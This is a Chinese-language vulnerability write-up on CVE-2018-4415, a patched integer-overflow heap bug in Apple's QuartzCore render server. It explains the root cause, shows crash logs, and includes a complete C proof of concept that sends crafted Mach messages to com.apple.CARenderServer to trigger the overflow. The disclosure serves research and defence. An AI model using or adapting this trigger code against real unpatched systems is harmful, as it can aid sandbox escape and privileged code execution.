一、漏洞概要
QuartzCore
(即CoreAnimation
)是macOS及iOS用来构建动画场景图的一个框架。CoreAnimation
使用了一个独特的渲染模型,以独立进程来运行图形操作。在macOS上,该进程为WindowServer
,在iOS上,该进程为backboardd
。这些进程都在沙盒外,能够调用setuid
。QuartzCore
服务名通常也称为CARenderServer
。macOS和iOS上都存在该服务,并且可以从Safari沙盒中访问,因此经常用于各种Pwn2Own场合中。该服务中存在一个整数溢出bug,导致最新的macOS/iOS上的QuartzCore
存在堆溢出漏洞。
受影响的操作系统:
macOS 10.14
iOS 12.10
二、厂商回复
“CoreAnimation
漏洞影响:应用程序可能使用系统权限来执行任意代码。已改进内存处理方式,修复该内存破坏问题。“
该漏洞编号为CVE-2018-4415。
三、漏洞细节
该漏洞的根源位于QuartzCore
的CA::Render::InterpolatedFunction::InterpolatedFunction
函数中,该函数并没有考虑到整数溢出问题。下面我们会在macOS以及iOS系统上详细介绍这个漏洞细节。
macOS 10.14
在macOS上,有个API(CGSCreateLayerContext
)可以用来打开CARenderService
(iOS上不存在该API)。攻击者可以向服务端口发送id为0x9C42
或者0x9C43
的消息。当进程(实际上为server_thread
)收到这个特定的消息时,会进入类似反序列化的一个过程。只要提供适当的数据,执行流程将进入CA::Render::InterpolatedFunction::InterpolatedFunction
函数中。
在上图中,请注意攻击者可以控制(a)
以及(b)
处这两个成员的值(CA
使用类似CA::Render::Decoder::decode*
之类的函数来反序列化对象),在CA::Render::InterpolatedFunction::allocate_storage
函数中,函数会根据这些值来决定待分配的内存的大小。
在(d)
处,v3
由(a)
以及(b)
处的值来控制,而(e)
处的v4
同样由攻击者可控的(c)
来控制。因此待分配的内存大小为4 * (v4 + v3)
。然而仔细观察(f)
,传递给CA::Render::Decoder::decode_bytes
函数的第3个参数实际上为4 * v3
。(f)
处CA::Render::Decoder::decode_bytes
简化后的形式类似于memcpy(v2, v8, 4 * v3)
或者memset(v2, 0, 4 * v3)
。因此,当4 * (v4 + v3)
溢出而4 * v3
没有溢出时,就会出现堆溢出问题。大家可以在本文后面的漏洞利用中,观察如何利用攻击者可控的这些值来触发整数溢出问题。
大家可以通过如下步骤,在macOS上复现这个问题:
1、clang QuartzCoreFunctionIntOverFlow.c -o
quartz_core_function_over_flow -framework CoreGraphics
2、./quartz_core_function_over_flow
1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread
com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077
com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187
com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123
com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73
com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237
com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949
com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460
com.apple.SkyLight 0x00007fff595eb820 server_loop + 96
com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153
WindowServer 0x000000010011d4c4 0x10011c000 + 5316
libdyld.dylib 0x00007fff6036ced5 start + 1
Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread
libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell
+ 41
com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder::
decode_bytes(void*, unsigned long) + 46
com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction
::InterpolatedFunction(CA::Render::Decoder*) + 191
com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA
::Render::Decoder*) + 224
com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder::
decode_object(CA::Render::Type) + 946
com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA::
Render::Decoder*) + 871
com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server::
ReceivedMessage::run_command_stream() + 748
com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server::
server_thread(void*) + 1841
com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25
libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159
libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70
libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13
iOS 12.10
由于这个问题的原因非常清楚,并且iOS和macOS上的代码基本一致,因此在这部分内容中,我们只讨论iOS和macOS上的一些不同点。
1、iOS上不存在类似CGSCreateLayerContext
之类的API,不能直接获取CoreAnimation
渲染上下文,但经过一番探索后,我们发现可以使用_XRegisterClient
这个MIG函数来替代CGSCreateLayerContext
。首先,攻击者需要打开com.apple.CARenderServer
服务(可以在沙盒中访问该服务),然后调用通过mach_msg
发送id为40202
的消息来调用_XRegisterClient
;
2、如果想在iOS 12 beta系统上复现该问题,需要使用最新版的1Xcode-beta(使用最新的SDK);
3、请按照www.malhal.com的说明导入IOKit
框架头部。请注意,这里应该将目标目录改为Xcode-beta应用所在的目录;
4、代码位于应用程序的didFinishLaunchingWithOptions
函数中,会在应用程序启动时触发;
5、当应用安装后,启动applicationios-sbe
即可。
1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread
2 Thread 3:
0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180
1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724
2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512
3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728
4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040
5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536
6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412
7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648
8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676
9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488
10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704
Thread 13 name: Dispatch queue: com.apple.libdispatch−manager
Thread 13 Crashed:
0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788
1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404
3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052
4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272
5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696
四、利用代码
/**
* Brief: Integer overflow in CoreAnimation, CVE-2018-4415
* Usage:
* 1. clang FunctionIntOverFlow.c -o function_over_flow
* 2. ./function_over_flow
*
* Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does
* not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|.
*
* The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of
* messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and
* iOS 12.0, but it's very easy to replant it to another versions.
*
* Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may
* help you concentrate on your work.
*
* One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS
* and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14.
*/
#include <dlfcn.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
static void do_int_overflow() {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) =
dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
printf("[-] Cannot get service of %s, %s!n", render_service_name, mach_error_string(kr));
return;
}
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %sn", mach_error_string(kr));
return;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t;
struct quartz_function_int_overflow_s {
mach_msg_header_t header;
char msg_body[0x60];
};
quartz_function_int_overflow_t function_int_overflow_msg = {0};
function_int_overflow_msg.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
function_int_overflow_msg.header.msgh_remote_port = context_port;
function_int_overflow_msg.header.msgh_id = 40002;
memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body));
*(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1; // Ports count
/**
* 1. One port consumes 12B space
* 2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory
* cleared by memset)
*/
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id;
*(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2;
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12; // Decode Function
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2;
/**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/
*(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1;
*(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2;
*(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1;
kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG,
sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: %sn", mach_error_string(kr));
return;
}
return;
}
int main() {
do_int_overflow();
return 0;
}